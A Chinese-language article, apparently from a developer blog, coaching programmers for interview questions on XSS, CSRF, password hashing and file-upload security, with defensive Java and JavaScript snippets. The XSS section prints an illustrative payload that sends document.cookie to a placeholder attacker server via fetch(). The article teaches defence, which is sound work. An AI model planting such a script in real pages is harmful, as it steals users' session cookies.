有时候面试官可能会问网络安全的问题,他们不是想听你背定义,而是想知道:你写代码时,会不会多想这么一步。
我们来看下下面4个问题,或许可以让我们在面试时更加有底气。
1. XSS攻击:用户输入的内容,真的安全吗?
案例:小张做了一个评论功能,用户可以自由发表评论。他直接把用户输入的内容显示在网页上。结果某天,首页被挂上了赌博广告,网站被百度降权...
发生了什么?
黑客在评论里输入了这样的内容:
<script>
// 窃取用户cookie
fetch('https://黑客服务器.com/steal?cookie=' + document.cookie);
</script>
当其他用户看到这条评论时,这段代码自动执行,用户的登录信息就被偷走了!
怎么防?
永远不要相信用户输入,对用户输入的内容,要做消毒处理:
// 前端简单消毒函数
function sanitizeInput(userInput) {
// 创建一个临时div
const tempDiv = document.createElement('div');
// 把用户输入设为文本(不是HTML)
tempDiv.textContent = userInput;
// 获取安全的HTML
return tempDiv.innerHTML;
}
// 使用示例
const comment = "<script>alert('hack')</script>";
const safeComment = sanitizeInput(comment);
// safeComment 变成 "<script>alert('hack')</script>"
// 浏览器会原样显示,不会执行脚本
// 后端Java消毒(使用开源库)
// 先引入依赖:implementation 'org.owasp.encoder:encoder'
import org.owasp.encoder.Encode;
public class SafeHtml {
public static void main(String[] args) {
String userInput = "<script>alert('xss')</script>";
// 对HTML内容进行编码
String safeOutput = Encode.forHtmlContent(userInput);
System.out.println(safeOutput);
// 输出:<script>alert('xss')</script>
}
}
面试小技巧:不要只说要过滤输入,而是说:"我会对用户输入进行验证,对输出内容根据上下文进行编码,前后端双重防护。"
2. CSRF攻击
案例:小李做了一个银行转账功能,用户登录后可以转账。某天,有用户反映账户里的钱被转走了,但自己没操作过。调查发现,用户在登录状态下点击了一个恶意链接,就被悄悄转账了...
发生了什么?
当你登录一个网站,浏览器会保存一个身份证明(Cookie)。黑客利用这一点,诱导你点击一个链接,这个链接会自动向银行网站发送转账请求。因为你的浏览器带着Cookie,银行以为是你自己操作的!
怎么防?
最常用的方法是验证码(CSRF Token):每个表单都有一个随机生成的验证码,服务器会验证这个码是否有效。
<!-- 表单中加入一个隐藏的token -->
<form action="/transfer" method="post">
<input type="hidden" name="csrf_token" value="随机字符串如a1b2c3d4e5">
金额:<input type="text" name="amount">
账号:<input type="text" name="to_account">
<button type="submit">转账</button>
</form>
// 后端验证token
@PostMapping("/transfer")
public String transferMoney(@RequestParam String amount,
@RequestParam String to_account,
@RequestParam String csrf_token,
HttpSession session) {
// 从session获取正确的token
String validToken = (String) session.getAttribute("csrf_token");
// 验证token
if (!csrf_token.equals(validToken)) {
throw new RuntimeException("无效请求");
}
// 执行转账
bankService.transfer(amount, to_account);
return "转账成功";
}
解释:就像银行柜台转账,不仅要看身份证(登录状态),还要核对预留手机号收到的验证码(CSRF Token),要双重确认是否是本人操作。
3. 密码安全
案例:某网站用户数据泄露,100万用户的密码被公开。调查发现,网站把密码直接存到数据库,没有做任何处理。更可怕的是,很多用户在多个网站用同一个密码...
常见的密码错误:
- 密码明文存储(直接存原始密码)
- 只做简单MD5加密(很容易破解)
- 不限制登录尝试次数(允许暴力破解)
正确做法:
// 安全的密码存储(使用BCrypt)
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
public class PasswordSecurity {
// 创建加密器
private static final BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12);
// 用户注册时:加密存储
public String registerUser(String username, String rawPassword) {
// 加密密码
String encodedPassword = encoder.encode(rawPassword);
// 保存到数据库
userDao.save(username, encodedPassword);
return "注册成功";
}
// 用户登录时:验证密码
public boolean loginUser(String username, String rawPassword) {
// 从数据库获取加密后的密码
String encodedPassword = userDao.getPassword(username);
// 验证密码是否匹配
return encoder.matches(rawPassword, encodedPassword);
}
}
为什么BCrypt更安全?
- 加盐:每个人的密码都加了不同的随机字符串,防止彩虹表攻击
- 慢加密:故意设计得很慢,让黑客难以暴力破解
- 自适应:随着计算机变快,可以调整难度
额外建议:
- 重要操作(如修改密码、大额转账)要求二次验证(短信/邮箱)
- 登录失败5次后锁定账户一段时间
- 定期提醒用户修改密码
4. 文件上传
小故事:某论坛允许用户上传头像,结果有黑客上传了一个图片,实际是个控制服务器的程序。几天后,整个服务器被用来挖矿,网站瘫痪...
风险在哪?
- 上传的图片可能是木马程序
- 文件名可能包含"../"跳到其他目录
- 超大文件可能导致服务器崩溃
安全上传四步法:
@PostMapping("/upload-avatar")
public String uploadAvatar(@RequestParam("file") MultipartFile file) {
try {
// 1. 检查文件大小(限制1MB)
if (file.getSize() > 1 * 1024 * 1024) {
return "文件不能超过1MB";
}
// 2. 检查文件类型(只允许图片)
String originalName = file.getOriginalFilename();
String extension = originalName.substring(originalName.lastIndexOf(".") + 1).toLowerCase();
if (!Arrays.asList("jpg", "jpeg", "png", "gif").contains(extension)) {
return "只允许上传图片文件";
}
// 3. 生成安全的文件名(避免特殊字符和路径问题)
String safeName = UUID.randomUUID() + "." + extension;
// 4. 保存到安全位置
String savePath = "/safe/uploads/" + safeName;
file.transferTo(new File(savePath));
return "上传成功,访问地址:/avatars/" + safeName;
} catch (Exception e) {
return "上传失败:" + e.getMessage();
}
}
提示:上传的文件不要直接放在网站目录下,而是通过程序控制访问。这样即使有人上传了恶意文件,也无法直接执行。
面试加分项:安全思维
技术很重要,同时面试官也看重你的思维方式。以下3点,说出来能加分:
1. 安全是过程,不是功能
很多团队把安全当成项目结束前才考虑的事。实际上,安全应该贯穿整个开发过程:
- 写需求时:考虑哪些数据敏感,需要保护
- 设计系统时:想想可能有哪些风险点
- 写代码时:遵循安全编码规范
- 测试时:包含安全测试
- 上线后:监控异常行为
2. 最小权限原则
简单说:只给必要的权限。
应用到开发中:
- 数据库账号:不要用root账号连接数据库,创建专用账号,只给必要权限
- 后台管理:普通编辑不能删除用户,管理员才能
- API权限:用户只能看到自己的数据,看不到别人的
3. 多层防御
不要只靠一种防护,就像家里既有门锁,也有防盗窗。安全也一样:
- 网络层:防火墙挡住可疑访问
- 应用层:输入验证、权限控制
- 数据层:敏感数据加密
- 业务层:异常操作监控
面试怎么回答?模板来了
当面试官问"网络安全了解多少",你可以这样说:
"我认为安全不是某个部门的事,而是每个开发者的责任。在我的开发经验中,我主要关注几个常见风险:
第一,防范XSS攻击。我会对用户输入进行验证,对输出内容做编码处理,确保用户输入的内容不会被当作代码执行。
第二,防范CSRF攻击。我会在表单中使用CSRF令牌,重要操作要求二次验证,确保请求是用户真实意愿。
第三,安全存储密码。我使用BCrypt算法加密存储密码,而不是明文或简单MD5,重要操作增加额外验证。
第四,安全处理文件上传。我会限制文件类型、大小,生成安全文件名,将上传的文件放在非Web访问目录。
本文首发于公众号:程序员大华,专注分享前后端开发的实战笔记。关注我,少走弯路,一起进步!